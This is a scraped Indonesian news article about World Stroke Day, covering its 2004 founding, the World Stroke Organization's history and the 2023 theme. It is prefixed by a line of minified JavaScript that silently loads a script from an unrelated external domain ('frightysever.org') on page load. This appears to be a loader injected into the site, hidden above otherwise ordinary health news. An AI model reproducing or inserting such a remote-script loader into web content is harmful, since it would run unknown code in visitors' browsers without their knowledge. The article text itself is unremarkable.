(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Hari Stroke Sedunia yang diperingati setiap 29 Oktober merupakan ajakan untuk meningkatkan kesadaran tentang stroke, seperti gejala dan faktor penyebabnya.
Akan tetapi, tujuan utama dari peringatan ini adalah upaya untuk meningkatkan pentingnya melakukan pencegahan dan pengobatan terhadap penyakit stroke.
Dilansir dari laman WSO, Hari Stroke Sedunia tahun 2023 ini mengambil tema #GreaterThanStroke. Peluncuran kampanye ini dipimpin oleh Dr Deidre De Silva, yang berasal dari Singapura.
Baca juga: Temuan Baru Warung Jablay oleh Satpol PP Banjarbaru, Ada Karaoke Sediakan Perempuan Pemandu
Sejarah Hari Stroke Sedunia
Dilansir dari situs resmi Kementerian Kesehatan RI, stroke merupakan penyakit yang terjadi apabila pembuluh darah di otak mengalami penyumbatan atau pecah, sehingga mengakibatkan kematian sel.
Karena telah menelan banyak korban di berbagai belahan bumi, stroke pun menjadi salah satu penyakit yang perlu diwaspadai dan dicegah oleh seluruh masyarakat di dunia.
Akhirnya, sejarah penetapan Hari Stroke Sedunia pun mulai ditetapkan pada tahun 2004. Peringatan ini diresmikan pada Kongres Stroke Dunia di Vancouver, Kanada.
Baca juga: Milad ke-30 Yayasan Ukhuwah Kalsel, 6 Lembaga Pendidikan dan Nazir Wakaf Uang Pertama di Kalsel
Akan tetapi, peringatan ini baru secara resmi diumumkan ke publik pada tahun 2006, oleh dr. Vladimir Hachinski yang merupakan seorang ahli saraf klinis di Kanada.
Pada 29 Oktober 2006, untuk pertama kalinya Hari Stroke Sedunia diperingati oleh World Stroke Organization atau WSO, yang juga baru saja resmi dibentuk pada tahun tersebut.
WSO sendiri adalah hasil dari penggabungan dua lembaga stroke di dunia, yakni World Stroke Federation atau WSF, dan International Stroke Society atau ISS.
Tujuan dibentuknya WSO adalah untuk menyebarluaskan misi pengajaran dan penelitian mengenai betapa pentingnya kesehatan jantung, sehingga penting untuk dijaga agar tidak terkena stroke.
Baca juga: Rekor MURI 10 Ribu Pesilat Banua, Diikuti Anak 10 Tahun hingga Orangtua Berumur 60
Selain itu, WSO juga memiliki komitmen, yakni mengakui dan menghargai semua usaha para tenaga kerja, baik di bidang kesehatan atau nonkesehatan, untuk mengurangi angka penderita stroke.
Seiring berjalannya waktu, tepatnya pada 2010, WSO mengumumkan bahwa stroke menjadi salah satu kondisi darurat untuk masyarakat, sehingga perlu dicegah agar tidak terkena dampak serius. (Kanalkalimantan.com/kk)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.